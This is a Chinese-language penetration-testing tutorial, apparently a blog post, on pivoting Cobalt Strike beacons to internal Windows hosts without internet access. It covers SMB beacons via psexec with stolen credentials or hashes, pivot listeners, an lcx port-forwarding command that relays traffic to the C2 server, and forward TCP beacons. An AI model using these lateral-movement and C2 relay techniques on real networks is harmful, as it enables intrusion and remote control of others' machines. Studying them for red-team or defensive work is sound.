CobaltStrike不出网上线

CobaltStrike 不出网上线的几种方法

环境配置

  1. Linux Server(CobaltStrike):xxx.xxx.xxx.xxx(具有公网地址)
  2. Windows10:192.168.12.154(NAT,出网)、192.168.134.130(不出网)
  3. Windows Server 2016:192.168.134.132(与 Windows10 同网段,不出网)

Windows10 上线

客户端连接至 CobaltStrike 服务器,新建监听器:

新建监听器

新建 Web Delivery:

新建 Web Delivery

将弹出的命令在 Win10 中以管理员的身份(免去后续提权)在 cmd 里执行,使 Win10 上线,并且迁移进程至 System 用户进程中,然后在端口扫描模块里使用扫描功能对内网进行扫描,发现另一台 Win Server 主机:

发现另一台 Win Server 主机

到此准备结束,以下内容针对获取 Win Server Shell 展开

SMB 中转上线

这种 Beacon 要求具有 SMB Beacon 的主机必须接受端口 445 上的连接,新建一个 SMB 监听器:

新建一个 SMB 监听器

选择 psexec64:

选择 psexec64

进行配置:

配置

这里设置的是 Win Server 的账号密码,在渗透过程中如果有用户的 hash 也可以直接选择使用,结果如下图,上线成功:

上线成功

运行成功后外部可以看到∞∞这个字符,这就是派生的 SMB Beacon,当前是连接状态,你可以在 Beacon 上用link <ip>命令链接它或者unlink <ip>命令断开它,这种 Beacon 在内网横向渗透中运用的很多

中转 Listener 上线

选择转发上线:

选择转发上线

配置选项:

配置选项

然后和上面方法一样,发现内网主机且知道账号密码,psexec 横向传递,选择中转 listener:

选择中转 listener

上线成功:

上线成功

端口转发上线

使用类似 lcx 的端口转发工具进行上线,原理图:

原理图

其中 lcx 将来自 Win Server 的流量转发至 CS 服务器,首先在 Win10 上启动 lcx:

1
lcx.exe -tran 10565 xxx.xxx.xxx.xxx 10565

将本地 10565 端口的流量转发至 CS 服务器:

流量转发

再在 CS 上启动一个新的监听器,注意 IP、Port:

启动一个新的监听器

创建新的载荷:

创建新的载荷

上传到 Win Server 上运行,可以看到 lcx 成功转发流量,上线成功:

上线成功

正向 TCP Beacon

和 SMB Beacon 比较类似。也需要一个父 Beacon,生成一个 TCP Beacon:

生成一个 TCP Beacon

使用该 Beacon 生成一个 stageless 形式的木马,上传到目标机器运行,在中转机器的 Beacon 里使用connect [ip address] [port]命令进行正向连接,即可上线:

上线

要销毁一个 Beacon 链接,在父会话或子会话的控制台中使用unlink [ip address] [session PID]。以后,你可以从同一主机(或其他主机)重新连接到 TCP Beacon


本文参考链接:

不出网上线CS的各种姿势